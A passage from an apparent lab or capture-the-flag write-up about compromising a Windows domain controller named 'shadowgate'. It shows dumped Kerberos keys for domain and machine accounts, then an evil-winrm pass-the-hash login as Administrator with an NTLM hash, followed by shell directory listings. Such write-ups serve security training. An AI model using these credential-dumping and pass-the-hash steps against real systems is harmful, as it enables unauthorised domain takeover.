shadow.gate\\jbradford:aes256-cts-hmac-sha1-96:25d94c55601327b69d96ff3d9c5a1bc74aab4af9079edb258fb4060f04987a20 shadow.gate\\jbradford:aes128-cts-hmac-sha1-96:2d9e35f40db8fb1a835c69560617e30d shadow.gate\\jbradford:des-cbc-md5:c81fef8ff1b6e50d shadow.gate\\amoss:aes256-cts-hmac-sha1-96:12cbcd17842055be7d1b44d668179d17afff0fc02723b00303a63dfd71dd78ce shadow.gate\\amoss:aes128-cts-hmac-sha1-96:b2619bff579c763dcee02282bf877c7a shadow.gate\\amoss:des-cbc-md5:86898989f8e3675e DC01$:aes256-cts-hmac-sha1-96:d4413d4a7c61d22feadf6b64b2104d926682b17ac5cb1c8f493ef02304e54b41 DC01$:aes128-cts-hmac-sha1-96:9209bde583b5b163a3d8f7e2f3c016af DC01$:des-cbc-md5:3d04d616d034499b [*] Cleaning up... ``` {% endcode %} * We also attempted to do the `--ntds` for nxc, but that seemed to fail ## **Access as the Administrator** {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 10:31:12 PM)-[~/hsm/machines/shadowgate] └─$ evil-winrm -i 10.0.23.96 -u Administrator -H '4366ec0f86e29be2a4a5e87a1ba922ec' Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\\Users\\Administrator\\Documents> cd .. *Evil-WinRM* PS C:\\Users\\Administrator> ls Directory: C:\\Users\\Administrator Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 1/12/2026 2:36 AM 3D Objects d-r--- 1/12/2026 2:36 AM Contacts d-r--- 1/12/2026 2:36 AM Desktop d-r--- 1/12/2026 2:36 AM Documents d-r--- 1/12/2026 2:36 AM Downloads d-r--- 1/12/2026 2:36 AM Favorites d-r--- 1/12/2026 2:36 AM Links d-r--- 1/12/2026 2:36 AM Music d-r--- 1/12/2026 2:36 AM Pictures d-r--- 1/12/2026 2:36 AM Saved Games d-r--- 1/12/2026 2:36 AM Searches d-r--- 1/12/2026 2:36 AM Videos *Evil-WinRM* PS C:\\Users\\Administrator> cd Desktop *Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> ls Directory: C:\\Users\\Administrator\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 6/21/2016 3:36 PM 527 EC2 Feedback.website -a---- 6/21/2016 3:36 PM 554 EC2 Microsoft Windows Guide.website *Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> ``` {% endcode %}